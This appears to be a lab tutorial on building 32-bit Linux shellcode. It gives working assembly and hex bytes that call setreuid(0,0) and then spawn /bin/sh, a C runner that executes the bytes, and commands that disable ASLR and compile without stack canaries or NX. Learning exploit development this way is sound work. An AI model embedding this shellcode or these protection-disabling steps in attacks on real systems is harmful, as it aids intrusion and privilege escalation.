If you are running a 32-bit version of Kali Linux, you need to disable ASLR echo 0 > /proc/sys/kernel/randomize_va_space

First write your shellcode runner, let's call it shellcodetest.c, nano shellcodetest.c and save the following code

/*shellcodetest.c*/

char code[] = "Shellcode Goes Here";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

Now write a local shell in Assembly, nano shellex.asm

;shellex.asm
[SECTION .text]

global _start


_start:
        xor eax, eax
        mov al, 70              ;setreuid is syscall 70
        xor ebx, ebx
        xor ecx, ecx
        int 0x80

        jmp short ender

        starter:

        pop ebx                 ;get the address of the string
        xor eax, eax

        mov [ebx+7 ], al        ;put a NULL where the N is in the string
        mov [ebx+8 ], ebx       ;put the address of the string to where the
                                ;AAAA is
        mov [ebx+12], eax       ;put 4 null bytes into where the BBBB is
        mov al, 11              ;execve is syscall 11
        lea ecx, [ebx+8]        ;load the address of where the AAAA was
        lea edx, [ebx+12]       ;load the address of the NULLS
        int 0x80                ;call the kernel, WE HAVE A SHELL!

        ender:
        call starter
        db '/bin/shNAAAABBBB'

Use netwide assembler to make a unlinked object file nasm -f elf shellex.asm

Use the linker command to make a raw binary ld -o shellex shellex.o

Now use the objcopy command to make a hexdump of the linked binary file objcopy -O binary -j .text shellex.o out

We need to format the shellcode in a format that is understandable by C xxd -p out | sed 's/../\\x&/g'

Copy and paste the output into your shellcodetest.c file, it should look like this

/*shellcodetest.c*/

char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

Compile your shellcode runner with extremely unsafe methods, with no stack protection canaries, and no NX (Linux's Version of Data Execution Prevention). gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -g shellcodetest.c -o shellcode

Set your compiled shellcode runner to be executable chmod +x ./shellcode and run it ./shellcode